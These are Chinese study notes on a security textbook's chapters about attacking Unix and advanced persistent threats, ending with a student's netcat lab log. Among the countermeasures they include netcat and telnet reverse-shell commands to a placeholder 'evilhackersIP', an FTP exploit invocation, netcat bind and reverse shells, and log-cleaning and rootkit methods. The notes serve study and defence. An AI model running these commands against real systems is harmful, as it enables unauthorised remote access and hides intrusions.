第5章 攻击Unix
5.1 获取root权限
在UNIX中只有两级访问权限:全权root和其他任何访问权。
5.1.1 简短回顾
使用rfcinfo和showmount可分别查点RPC服务和NFS安装点。
5.1.2 弱点映射
1、弱点映射:是把一个系统的特定安全属性映射到某个相关联的弱点或潜在弱点的过程。是对目标系统上可能存在的潜在弱点做些明智的猜测。 、
2、攻击的方法:
(1)按照公开可获得的弱点信息资源,手工映射特定的系统属性。
(2)使用张贴到各种安全邮件列表和网站上的公共漏洞发掘代码。
(3)自动执行的弱点扫描工具。例如:nessus
3、执行弱点映射待考虑的关键点:
(1)针对目标系统执行网络勘察
(2)把诸如操作系统、体系结构和正在监听中服务的特定版本等属性映射到已知的弱点和漏洞。
(3)通过标识与选择关键系统执行目标探测。
(4)查点并按优先级排列潜在的入口点。
5.1.3 远程访问与本地访问
1、远程访问时通过网络或其他通信通道获取访问权。
2、本地访问是拥有一个真正的命令shell以登录到目标系统。本地访问攻击也称为“特权升级攻击”。
5.2 远程访问
1、四种不同种类的攻击
(1)发掘某个监听服务的漏洞
要获取访问权必须有服务正在监听,否则是不可能实施远程入侵的。
(2)通过UNIX系统进行路由
UNIX内核已将IP转发功能激活
(3)由用户发起的远程执行
(4)混杂模式攻击
2、暴力破解攻击
最常见的可能成为暴力破解攻击对象的服务类型包括
telnet
FTP文件传送协议
“r”命令
SSH安全shell
SNMP简单网络管理协议
POP邮局协议和IMAP因特网信息存取协议
HTTP/HTTPS超文本传输协议
CVS和SVN
Postgres、MySQL和Oracle
常用工具有:
THC-Hydra(首选)、Medusa
针对暴力攻击的访问对策:
(1)使用一次性口令机制
(2)加强系统的口令安全策略
5.2.1 数据驱动攻击
1、数据驱动攻击:是通过向某个活动中的服务发送数据,以产生非预期结果来进行的攻击。
2、数据驱动攻击分为缓冲区溢出攻击和输入验证攻击。
3、缓冲区溢出攻击
针对缓冲区溢出攻击的防范对策:
(1)遵循安全编码实践
(2)测试并审核每个程序
(3)禁止不用或有危险的服务
免费内核及对IP数据包过滤的工具有:Iptables、Ipfilter Firewall。
(4)对堆栈执行进行保护
要启用堆栈执行保护的功能,在/etc/system文件中加入以下项:
set noexecuserstack = 1
set noexec_userstacklog = 1
(5)地址空间布局随机化
基本前提是,大部分的攻击都需要提前获知有目标程序的地址空间。并且地址随机化并不是万无一失的。
4、Return-to-libc攻击
Return-to-libc是在开启堆栈执行保护功能的UNIX系统上,利用缓冲区溢出的一种攻击方式。攻击者调用没有驻存在栈中的现有代码。
和一个标准缓冲区溢出攻击相同的是,Return-to-libc的攻击修改了返回地址,指向一个攻击者控制的新位置,颠覆程序的控制流。但不同于标准缓冲区溢出的是,Return-to-libc攻击只利用运行的进程中现有的可执行代码。
与传统的Return-to-libc不同,面向返回的编程攻击在执行时的基础是利用短码序列,而不是函数调用。
针对Return-to-libc攻击的防范对策:
在编译过程中清除可能出现的小工具源、检测内存中的违规行为、检测频繁返回的函数流。
5、格式化字符串攻击
格式化字符串,它提供了用动态数目的参数格式化文本输出的方式,但每个参数应该正确地匹配字符串中的格式化指令。
%x就让printf把堆栈里的内容以字为单位显示出来。
格式化字符串漏洞的最后一个关键,是攻击者能够将数据放入格式化字符串指令要处理的堆栈中。
一个攻击的例子:
#include <stdio.h> #include <string.h>
int main(int args,char **argv) {
char buf[2048] = {0};
strncpy(buf,argv[1],sizeof(buf)-1);
printf(buf); putchar('/n'); return (0); }
针对格式化字符串攻击的防范对策:
最佳措施是不要自己制造出程序中的这种漏洞,最有效办法就是养成良好的编程和认真检查代码的习惯。
6、输入验证攻击
输入验证攻击出现在下列情况中:
(1)程序没能认出语法上不正确的输入
(2)模块接受了无关的输入
(3)模块没能处理遗漏的输入字段
(4)发生字段值相关性错误。
telent的守护进程in.telnetd没有正确解析输入就将其传递给登录程序,黑客只需要知道一个有效的用户名,能够让其通过telent远程访问即可。
针对输入验证攻击的防范对策:
输入验证时有两个基本方法:
(1)黑名单验证,是通过将输入与事先定义好的恶意数据清单进行对比来实现的,如果输入数据能够和恶意数据清单中的数据匹配,则该输入将会被拒绝。
(2)白名单验证,这种方法有一种默认的拒绝机制,只有明确定义的和证实的输入才会被接受,而其他数据则会被拒绝。
7、整数溢出攻击和整数符号攻击
整数溢出将导致未定义行为的后果:
不同的编译器会对整数溢出做出不同的处理。
把一个无符号整数赋值给一个有符号整数类型的变量或者反过来做,都会引发“整数符号”漏洞。
针对整数溢出攻击手段的防范对策:
寻找整数溢出缺陷的最佳地点包括“有符号\无符号”转换或算术函数、for()等循环控制结构、保存用户输入数据的变量等。
8、悬摆指针攻击
悬摆指针也称为迷失指针,指的是一个指针指向无效的存储地址。
指针悬摆的两个创建方法:
(1)一个目标被释放,而指向这个目标的指针没有被在分配,之后又被使用了;
(2)当函数返回时一个本地目标从堆栈弹出,而引用这个目标的指针依然维持原状——依然指向堆栈的位置。
针对悬摆指针攻击的防范对策:
(1)实施安全编码标准来应对。
(2)灵巧指针进行垃圾回收和边界检查。
5.2.2 我想有个shell
1、反向telnet和反向通道
反向通道是指通信通道是从目标系统而不是攻击系统发起的。
建立反向通道的方法: (1)反向telnet,使用telnet创建一个从目标系统到攻击者系统的反向通道。需要netcat工具的支持。
打开nc监听器,有它接受反向的telnet连接,必须在两个分开的窗口中分别执行以下命令之一,以便成功地接收反向的telnet连接:
nc -l -n -v -p 80 nc -l -n -v -p 25 -v指定为详尽模式
-n表示不进行从IP地址到主机名的地址解析
确保自己的系统上例如HTTPD或sendmail之类的服务没有被绑定在端口80或端口25上。
必须在目标系统上通过发掘awstats的漏洞来执行如下的命令序列:
/bin/telnet evilhackersIP 80 | /bin/telnet evilhackersIP 25
最终结果是在两个分开的窗口中发生的一个反向telnet。
(2)使用nc而不是telnet,条件是服务器上已存在nc二进制文件,或者该文件能够通过某种机制存放到服务器上。“#define GAPING SECURI-TY_HOLE”选项是使用nc的-e开关创建反向通道所必须的。
使用nc创建反向通道,用以下命令来成功地接收nc的反向通道 :
nc -l -n -v -p 80 一旦打开nc监听器,在目标系统上执行以下命令:
nc -e /bin/sh evilhackersIP 80
直接的shell访问,支撑它的连接是从目标服务器发起的。
针对反向通道的防范对策: 最好的预防措施是加强自己的系统的安全性,这包括禁用不必要的服务,尽早安装厂家提供的补丁和实施相关的临时处理手段。
应考虑的其他措施:
(1)在任何安全性级别要求很高的系统上去掉X命令行工具。
(2)允许合法用户执行telnet的同时,禁止完全不必执行telnet的用户去执行它;
(3)在某些情况下,把防火墙配置成禁止从Web服务器或其他内部系统发起外出的连接也许可行。
5.2.3 常见的远程攻击
1、FTP
攻击者有能力往某个用户的主目录中放置一个.rhosts文件,以允许攻击者rlogin到目标系统。
在FreeBSD的ftpd以及ProFTPD守护进程漏洞使在攻击者指定的本地端口上创建一个shell。
攻击过程如下:
为这种漏洞攻击的“回拨”创建一个netcat监听器
nc -l -v -p 443 开始运行攻击:
perl roaringbeast.pl 0 ftp ftp 192.168.1.25 443 回到netcat监听器反向通道中查看
nc -v -l -p 443
针对FTP的防范对策 :
(1)确保对该服务器安装最新的由厂家提供的补丁
(2)避免采用所有用户都可写的目录
(3)降低使用所有用户都可写的目录的数量
2、Sendmail
Sendmail是邮件传输代理,可以扩展,配置灵活,又极其复杂。sendmail的vrfy和expn命令可用来标识用户账户,会泄露用户登录信息。许多漏洞与远程缓存区溢出条件相关,输入验证也有时发生。
针对Sendmail攻击的防范对策:
(1)禁用Sendmail
(2)确保使用的是最新的版本,并安装了所有相关的安全补丁
(3)从别名文件中去掉decode别名
(4)详查那些指向程序而不是指向用户账户的每个别名
(5)确保别名文件和其他相关文件的权限不允许普通用户进行修改
更安全的产品:Qmail、Postfix
3、远程过程调用(RPC)服务
RPC是一种允许在一台计算机上运行的某种程序无缝地在另一台远程系统上执行的机制。
远程RPC缓冲区溢出攻击与rpc.ttdbserverd和rpc.cmsd服务相关,而这两个RPC服务是公共桌面环境的一部分。
针对RPC服务攻击的防范对策:
(1)禁用不是绝对必要的任何RPC服务
(2)一个只允许授权的系统联系这些RPC端口的访问控制设备。
(3)使用Secure RPC
(4)确保安装所有由厂家提供的补丁
4、NFS
文件句柄:是用于唯一标识远程服务器上每个文件和目录的符号。
NFS探测过程:
检查我们的目标系统
rpcinfo -p itchy 通过端口映射器查询 showmount -e itchy 把itchy主机的根文件系统安装到本地安装点/mnt上 mount itchy:/ /mnt
发掘NFS漏洞的工具:nfsshell
操作过程:
告诉nfs对安装哪个主机上的文件系统感兴趣 host itchy 列出该主机导出的文件系统 export 安装“/”文件系统 mount / 检查连接状态,并确定访问该文件系统时所用的UID status
针对NFS攻击的防范对策:
(1)实施主机和用户访问控制
(2)在允许安装某个文件系统的客户主机列表中,绝不要加上相应服务器的IP地址或localhost。
(3)安装所有由厂家提供的补丁
5、X不安全性
最简单且流行的X访问控制形式是xhost认证。
发现一台X服务器是否打开了“xhost+”的最好程序之一是xscan 。
针对X不安全性的防范对策:
(1)抵制执行“xhost+”命令的诱惑,“xhost -”不会终止任何已有的连接,它只是禁止将来的连接。
(2)如果用到xterm或类似的终端程序,那就启用X服务器的安全键盘选项。
(3)在防火墙上阻塞6000~6063号端口,以防止未经授权的用户连接到自己的X服务器端口上
(4)在X会话期间使用SSH及其“隧道”功能以增强安全性。
5、DNS
DNS缓存毒化攻击
DNS缓存毒化攻击是一种诱使客户端访问恶意服务器而不是目标服务器的一种攻击技术。
第一步是要找出存在漏洞的目标服务器。
测试你的DNS是否存在潜在的漏洞,可以采用如下查点技术:
dig @192.168.1.3 version.bind chaos txt
针对DNS攻击的防范对策:
(1)在非DNS服务器上关闭并删去BIND
(2)确保BIND版本是最新的
(3)运行named应以非特权用户方式
(4)named应以“-t”选项从chrooted()环境中运行,这样攻击者即使取得访问权也不能在文件系统里横行霸道。
6、SSH不安全性
攻击者可以制作大的SSH数据包,使得缺陷代码用参数0调用xmalloc(),并返回一个指向程序地址空间的指针,如果攻击者能够向程序地址空间的任意内存位置进行写入操作,那么就可以在被攻击的系统上执行任意代码。
Open SSH查询-应答漏洞
第一个弱点是,在查询-应答认证期间,当对应答进行处理时,可能会发生整数溢出。
利用该漏洞需要具备的几个要素:
(1)设置了查询-应答选项
(2)系统在使用BSD_AUTH或SKEY认证
(3)远程攻击者有可能在有漏洞系统上以root权限执行代码
第二个弱点是,查询-应答机制中的一个缓冲区溢出漏洞,只要系统使用了交互式键盘认证的PAM模块就存在漏洞。
针对SSH攻击的防范对策:
确保都是已经打过补丁的版本。
7、OpenSSL攻击
相关的概念证明工具:THC-SSL-DOS
(1)该工具利用SSL握手过程中客户端和服务器之间的非对称计算性质,这种不对称性的特点,让服务器超载,使之从因特网上断开。
(2)通过一个单独的TCP连接触发数以万计的重新协商。
针对OpenSSL攻击的防范对策:
可以缓解但不能解决问题的一些步骤:
(1)禁用SSL重新协商
(2)投资于SSL加速器
8、Apache攻击
具体实施方法是从远程使用极少数量的请求拉高服务器的占用率。
针对Apache攻击的防范对策: 安装合适的补丁并升级到最新的且安全的Apache版本。
5.3 本地访问
1、特权升级:把用户特权升级到root特权。
2、口令构造的弱点
口令破解就是通常所知的自动化字典攻击。口令破解可以离线进行,因而在性质上是被动的,攻击者必须先设法获得存放用户口令的/etc/passwd文件或shadow文件,才谈得上对口令进行破解。
能够保证两个具有相同口令的用户的口令生成的哈希值是不同的。Salt还能够有效防范预计算攻击。
破解Unix口令最好的程序之一是John the Ripper,它为在最短的时间内破解尽可能多的口令而高度优化过,并且它提供各种单词排列组合的规则,GECOS字段,把自己的全名列在GECOS栏中,选择他们的全名的某个组合作为口令的现象非常普遍。
3、本地缓冲区溢出
以SUID属性被设置为root的文件为目标,从而允许攻击者以root特权执行命令。
常用工具:unrar3.9.3归档包是一种流行的WinRAR归档工具的Linux版。
针对本地缓冲区溢出攻击的防范对策
(1)遵循安全编码实践,并结合使用不可执行的堆栈。
(2)评估SUID位,去掉不是绝对需要SUID权限的任何文件的SUID位。
4、符号链接
废弃文件、碎片空间和临时文件盲目地沿循符号链接引用其他文件的程序。
符号链接是使用ln命令创建的特殊文件,符号链接是指向另一个文件的文件。
针对符号链接攻击的防范对策
(1)试图创建一个文件前必须查看它是否存在,办法是使用OEXCL、OCREAT标志打开它;
(2)创建临时文件时应该先设置UMASK值,再使用tmpfile()或mktemp()函数。
在/bin或/usr/sbin中执行如下命令:
strings * |grep tmp
尽可能多的去掉非必要文件的SUID位。
5、竞争状态
允许攻击者滥用这个机会窗口的弱点称为竞争状态。
如果攻击者在文件或者进程处于特权状态时成功地达到了利用特权的目的,我们就称之为“赢得竞争”。
信号处理问题
信号是UNIX中用于通知一个进程发送了某个特定条件的机制,它提供了处理异常事件的手段。信号用于改变一个程序的执行流。
一个竞争状态的产生:攻击者必须在服务器进程把有效UID该为0之后,且在用户被成功注销之前,发出SIGURG信号。如果攻击者成功了,他们就等效于以root特权登录进该FTP服务器。
针对信号处理攻击的防范对策
(1)用户做不了多少事——这是程序员的责任。
(2)可能地缩减每个系统上SUID程序的数量,并及时安装所有由厂家提供的安全补丁。
6、core文件处理
攻击者在登录到FTP服务器之前先发出一条PASV命令,就可以让该FTP服务器把一个全局可读的core文件写到文件系统的根目录里去。这个core文件含有shadow口令文件的部分内容,在很多情况下,还包含用户的口令哈希值。
针对信号处理攻击的防范对策
使用ulimit命令限制系统产生core文件,通过在系统级profile文件中使用ulimit命令设置允许的core文件大小为0,core文件就不会产生了。
7、共享函数库 共享函数库允许可执行文件在执行阶段从某个公共的函数库中调用所需的代码片段。
主要优势是:节省系统硬盘和内存空间,也使得代码的维护更加容易。
某些版本的in.telnetd允许用户在试图建立一个连接时把环境变量传递给远程系统。
针对信号处理攻击的防范对策
(1)动态链接库应该在连接SUID属性被设置为root的二进制文件时忽略LD_PRELOAD环境变量。
(2)共享函数库应该以与大多数敏感文件相同级别的安全性来保护。
8、内核缺陷
增强系统的整体安全模型:
对文件和子目录的访问权限进行管理、对SUID文件进行授权和撤权、系统对信号如何响应。
men_write()函数在写入/proc//men时并没有充分地验证权限。
不当的权限检查可被用于修改内核中的进程内存。
针对内核缺陷攻击的防范对策
要勤于修补内核的安全漏洞、系统配置不当。
9、文件和目录的访问权限
UNIX安全的两大隐患:SUID root文件和任何用户都可写的文件。
SUID文件:使用find命令找出所有SUID文件,并建立一份可以用于获取root访问权的文件清单。
find / -type f -perm -04000 -ls
攻击者会通过以SUID权限来直接执行dos来确定是否存在攻击路径。dos是一个创建虚拟机的程序。
针对SUID文件攻击的防范对策
最好的措施就是去掉尽可能多的文件上的SUID/SGID位。最好清点自己系统上的每个SUID/SGID文件,确保它们绝对必要具有root级权限。
10、全局可写文件
常见的系统不当配置是把敏感的文件设置成全局可写,从而允许任意用户随意修改这些文件,可能设置成全局可写的常见文件包括系统初始化文件、关键的系统配置文件以及用户启动文件。
把系统里所有的全局可写文件查找出来:
find / -perm -2 -type f -print
攻击者的常用伎俩是通过修改public用户账户的shell启动文件创建一个设置了SUID属性的.user文件,以后在利用public用户账户登录进该系统时,攻击者就会得到一个SUID属性位被设置为public的shell。
针对全局可写文件攻击的防范对策
(1)find命令找出自己负责的每个系统上的所有全局可写文件和目录
(2)如果是系统初始化文件、关键的系统配置文件或用户的启动文件,那就不该全局可写。
5.4 获取root特权之后
1、Rootkit
攻击者上传并隐藏一个自己的rootkit很重要,rootkit的一般组成:
(1)特洛伊木马,如篡改过的login、netstat和ps命令;
(2)后门,如植入inetd;
(3)接口嗅探工具;
(4)系统日志清理工具
特洛伊木马的两种形式:
(1)一个篡改了的login程序,该程序会像正常的login命令那样让用户登录,然而它还把登录的用户名和口令记录到一个文件中。
(2)创建一个返回到攻击者本地系统的后门,其手段是运行一个TCP监听器等待客户端登录并提供正确的口令。
工具:Rathole
该工具支持blowfish加密算法以及隐藏进程名。
针对特洛伊木马攻击的防范对策
(1)加密校验和程序为每个二进制文件生成独一无二的签名,还需要把这些签名保存在一个安全的地方。
(2)注意软件包中文件的变化,特别是二进制文件的变化——没有理由会变的。一旦右边,说明这个系统已经被入侵了。
常用工具:Tripwire和AIDE是最流行的校验和生成工具。还有chkrootkit、rkhunter等工具。
2、嗅探程序
嗅探程序:调试网络连通性问题需要工具,嗅探程序的实质是捕获、解释并存储流经网络的数据包供以后分析用。
常用工具:Dsniff、tcpdump 3.X 、Snoop、WireShark
针对嗅探程序攻击的防范对策
(1)改用交换式网络拓扑
(2)侦测嗅探程序
检测嗅探程序的基本方式有两个:基于主机和基于网络。最直接的基于主机的检测方式就是确定目标系统的网卡是否运行在混杂模式下。
(3)加密 防范网络窃听的长远解决方案是加密。可以使用SSH和IPSec
3、日志清理攻击
Logclean-ng是最流行和通用的日志清理工具之一。该工具建立在一个用来简化编写日志清理程序的函数库上。
抹除攻击行为记录的首要步骤是改变当前活动的日志。
系统登录的主体日志可在/var/log/目录中找到:
cat /etc/syslog.conf
常用工具:Wzap是专门针对wtmp日志文件的程序,用于从中去除指定用户的日志项,要运行logclean-ng,可执行以下步骤:
who /var/log/wtmp
安全文件、消息和xferlog日志文件等都能通过log clean的查找和替换功能进行修改。
攻击者需做的最后几步工作就是去除自己命令的历史记录。
当满足如下两个条件时,黑客更容易掩盖他的活动记录:
(1)日志文件保存在了本地服务器;
(2)日志文件没有被实时监控和修改
拦截日志进程的方法就是通过ptrace()系统调用。ptrace是一个调试和追踪进程的强大的API,并在gdb工具中提供。
常用工具:syslogd(用来控制写日志的进程)、badattachK(日志清理工具)。
针对日志清理攻击的防范对策
(1)支持只许添加标志等扩展属性的文件系统就是这样的一种媒介。
(2)使用syslog机制把关键的日志信息发送到一台安全日志主机上。
4、内核rootkit
基于内核的rootkit可以修改UNIX内核而不是程序本身来愚弄所有系统程序。
目前最流行的加载内核rootkit的方法就是将其作为内核的一个模块。
截获系统调用的方法:
(1)rootkit可以修改系统调用处理程序,将对原系统调用表的调用转向对Rootkit自己的系统调用表的调用。
(2)通过中断,当触发一个中断,执行的顺序被修改,并且该程序执行被转到合适的中断处理程序。
(3)最新的技术是adore-ng使用虚拟文件系统接口来扰乱系统。
针对内核rookit攻击的防范对策
预防是最好对策。
工具如LIDS,其功能是:
(1)“密封”内核以防修改
(2)防止加载或下载内核模块
(3)不可变文件属性或只允许添加的文件属性
(4)锁定共享内存块
(5)进程ID操作保护
(6)保护/dev/子目录里的各种敏感信息 (7)端口扫描侦测
5、rootkit恢复
第一步应该创建一个带静态链接库的二进制文件的工具集。
保存和UNIX系统上每个文件均相关的三个时间戳也很重要:最后访问时间、修改时间、创爱你时间。
第6章 网络犯罪和高级持续威胁
1、高级持续威胁APT是指企业网络的反复、未经授权的访问。指一个有组织的小组对目标发起的访问,及为了商业、社会、工业、政治或其他目的而偷取信息。
APT的目标是在长期的过程中从某些人那里获利。
2、APT可分为两组:
第一组是犯罪活动;第二组是为企业的利益服务的或国家发起的情报服务。
APT的终极目标是获取并维持与攻击者有关的关键信息的访问。
6.1 APT是什么?
1、术语高级持续威胁于2006年由美国空军的分析员首创,分别代表着攻击者的概要、意图和结构。
2、网络鱼叉钓鱼是APT小组用于访问目标系统的最流行的工具。
3、进行APT的步骤:
(1)确定目标
(2)访问/攻陷
(3)侦查
(4)横向行动
(5)数据收集和窃取
(6)管理和维护
4、Aurora行动
CRC:简单循环冗余校验
把恶意软件标注为Hydrag,并编写相应的防病毒签名以对其进行检测。
其他知名的APT活动:Night Dragon、RSA Breach、Shady RAT。
它们都采用了相似的鱼叉式钓鱼电子邮件、应用程序漏洞攻击、加密通信以及用于开展侦查和窃取敏感数据的后门RAT。
5、Anonymous
其终极目标是暴力信息。其目标是证明少数人的群体也可以通过干扰服务或暴露敏感信息以影响大众的能力。
6、RBN
俄罗斯商业网络是一个由个人和公司组成的犯罪团伙,该团伙运营一些可供租用的僵尸网络,开展垃圾邮件发送、钓鱼、恶意软件传播,提供色情网站注册等。目标是寻找受害者然后实施商业盗窃,并利用非常复杂的恶意软件工具长久地运行在受害主机上。
6.2 什么不是APTS
APT不是单一的或一系列的恶意软件,更不是一个单一的活动。它代表了一次相互协调和深入的活动。宗旨就是目标达成。
6.3 流行的APT工具和技术实例
1、Gh0st
“Gh0st” RAT是APT攻击中恶意软件的范例。
使用工具:WHOIS、Robtex和Phish Tank
执行事件响应的正确方法是遵循RFC 3227中描述的数据“挥发”次序。
内存捕获:
首先对被攻陷的计算机内存进行转储操作,将其中的内容导出到外部的大容量存储设备中。
内存分析工具:HBGary FDPro和Responder Pro、Mandiant Memoryze以及Volatility Framework
他们都具备从内存快照中抽取进程相关信息的能力。
内存分析:
常用工具:Volatility Framework Tool
主文件表MFT:
NTFS卷内的每一个文件都由名为主文件表的特殊文件中的一条记录来表示。
网络/进程/注册表
Netstat是一个命令行工具,能够显示内连和外连的网络连接。
宿主文件:
原始的宿主文件的大小为734字节。
进程浏览器:
在可疑主机上运行进程浏览器时,可以看到“cmd.exe”会周期性地启动并出现在该进程下方:它意味着攻击者已经在活动或尝试在系统中执行命令。
进程监控器:
用于查看所有的内核交互——与文件和操作系统之间交互的进程。
工作站类型的系统通常默认都启用了Windows Prefetch功能。
VMMap
它是一个进程虚拟和物理内存分析工具,能够显示操作系统分配给进程的虚拟内存类型以及物理内存大小。
远程管理工具RAT的功能包括捕捉视频/音频/击键、远程shell、远程命令、文件管理器、屏幕侦查。
DNS Cache
将缓存的、可疑主机发起的DNS请求导出使用的命令:
ipconfig /displaydns > [evidencegatheringdrive]\displaydnsoutput.txt
Scheduled Tasks
任务调度器可通过执行下面的命令来确保这一点:
at
schtasks
事件日志
使用Sysinternals工具中的psloglist,可以从可疑主机上获取“系统和安全事件日志”。
Prefetch目录
该目录包含了一系列最近在系统中运行的128个“不同的”程序的历史记录
收集有趣的文件
ntuser.dat 包含用户的概要数据
index.dat 包含请求的URL的索引
.rdp文件 包含任意远程桌面会话的信息
.bmc文件 包含RDC客户端的缓存镜像
防病毒日志文件 包含病毒告警
分析RDP文件
远程桌面文件(.rdp)包含有关被访问服务器、登录信息等有趣的细节。该文件默认保存在\Documents文件中。
分析BMC文件
可以了解攻击者在被攻陷网络上的行踪:被访问的应用程序或文件;使用的证书。常用工具:BMC查看器
在System32目录中调查异常情况
该目录同安装的缓存目录进行比较,会得到一个该目录中从安装以来被改变的文件的列表。
Ad.bat文件用于从同一域内的其他机器收集数据,得到的结果会打包在D.rar文件中,准备用于下载。
防病毒日志
大多数防病毒产品都认为netcat是一个隐匿垃圾程序。
2、Linux APT攻击
使用的测试系统是运行Tomcat的Linux系统,且具有较弱的安全证书。
拥有了最高访问权限之后,攻击者可以上传一个PHP后门,创建一个SUID root shell使得当口令改变时,仍旧可以继续访问,但也留下了扫描系统的证据,不过只限于扫描RAM驱动。
被攻陷的标志
Tomcat被配置为对访问请求进行记录。
netcat工具查看各个侦听的端口:
查询所有数字端口 -a
对应的端口名字 -n
侦听的服务 -l
列出所有与端口关联的进程 -p
另一个查看打开文件和侦听服务的工具是lsof,选用-i开发将网络中所有打开的文件列出。
LinuxAPT攻击总结:
(1)攻击者使用较弱的证书就可以通过Tomcat服务器房访问该主机
(2)预留了几种回来的方法
(3)进行搜索,再确定其目标
(4)永远不需要写东西到磁盘中
3、Poison Ivy 部署和安装Poison Ivy的常规方法是通过配置特洛伊木马注入程序的鱼叉式钓鱼电子邮件。
Poison Ivy RAT的一些强悍之处不局限于其后门的功能,而是作为网络代理的复合功能。
4、TDSS
利用一个非常难侦测到的部署了rootkit的恶意软件,它具有加密的文件和通信,以及在大量被攻陷主机上的命令和控制通信、开放的代理甚至P2P网络。
僵尸网络通常用于Malware As Service平台。
大多数APT活动都利用代理网络地址或主机以辅助其C&C通信,或通过对其企业的主机识别来混淆是非。
6.4 常见的APTS标志
1、APT发生的现象和特征:
(1)使用SSL或私有加密方法的网络通信,或发送和接收base64-编码的字符串。
(2)在Windows NETSVCS密钥中注册的服务,以及在%SYSTEM%文件夹中具有DLL或EXE扩展名和类似文件名的合法Windows文件对应的服务。
(3)作为SVCHOST.EXE出现的CMD.EXE复件,或以%TEMP%文件夹中的其他文件名为替身的复件
(4)引用已不存在的可执行文件的LNK文件
(5)引用外部IP地址的RDP文件等。
2、APT侦测
最简单的方法是施行简易的管理规程。
关键的侦测技术包括:
(1)终端安全产品
(2)用于文件变化控制和审核的文件系统审核产品
(3)网络智能/防御产品,包括入侵侦测/防御系统
(4)用于Web网关/过滤器的网络监控产品
(5)拥有关联和报表功能数据库的安全信息/事件管理产品。
实验部分
工具netcat
Windows部分
1、下载netcat,因为没有找到官网下载,所以我在“51CT0下载” 下载该软件。
http://down.51cto.com/data/1029936
2、下载后解压,我直接双击nc.exe运行,发现输入命令后,会闪退,看不到结果。经过百度后,发现,需要在命令行中打开nc.exe才能正常运行。
帮助文档:
参数:
-e prog 程序重定向,一旦连接,就执行 【危险!!】
-g gateway source-routing hop point【s】, up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时
3、扫描端口
(1)扫描TCP端口
(2)扫描UDP端口
4、REMOTE主机绑定SHELL
格式:nc -l -p 5354 -t -e c:\winnt\system32\cmd.
讲解:绑定REMOTE主机的CMDSHELL在REMOTE主机的TCP5354端口
5)REMOTE主机绑定SHELL并反向连接
格式:nc -t -e c:\winnt\system32\cmd.exe 192.168.x.x 5354
讲解:绑定REMOTE主机的CMDSHELL并反向连接到192.168.x.x的TCP5354端口
PS:因为使用Nmap我没有扫描到一个打开的远程计算机,所以4和5操作暂时不能实现。
Linux部分
1、因为Linux下是默认安装的,所以可以直接使用。
2、端口扫描
3、绑定主机shell作为后门
这一般分两个步骤:
步骤一: 我们在被攻击的机器上用下列命令:nc –v –l –p 端口号 –e shell
// 其中端口号是我们欲将shell绑定到哪个端口,shell在不同的系统是不同,在Windows下是cmd.exe,在Linux下一般是/bin/sh。
步骤二: 攻击者在自己的机器上使用命令 :nc 被攻击者IP 端口号来达到远程控制受害者(被攻击者)的机器。
执行完这个步骤之后我的电脑就卡死了,内存占用几乎达到了100%,我不得不强行关机。
参考资料
1、 Netcat使用方法
http://blog.csdn.net/gavinr/article/details/7277507